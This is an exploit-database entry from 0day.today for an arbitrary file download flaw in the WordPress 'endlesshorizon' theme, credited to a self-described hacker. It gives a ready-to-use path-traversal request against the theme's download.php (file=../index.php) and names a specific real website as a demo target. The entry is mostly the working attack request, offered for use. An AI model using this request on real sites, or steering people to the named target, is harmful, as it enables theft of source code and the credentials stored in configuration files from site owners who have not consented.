Wordpress endlesshorizon theme - Arbitrary file download Vulnerability

2018-01-21T00:00:00
ID 1337DAY-ID-29597
Type zdt
Reporter MrSqar
Modified 2018-01-21T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            -===================­====================­=================-
# Exploit title : Wordpress endlesshorizon theme - Arbitrary file download
# author : MrSqar Yemeni hacker
# Team : IT-Geeks
# Tested on : BackBox linux
# check if site is vulnerabe : /wp-content/themes/endlesshorizon/download.php
you can download any script from the site by this method 
site.com/wp-content/themes/endlesshorizon/download.php?file=../index.php
# deom site :
https://endlesshorizons.co.za/wp-content/themes/endlesshorizon/download.php?file=../index.php
 -===================­====================­=================-

#  0day.today [2018-02-19]  #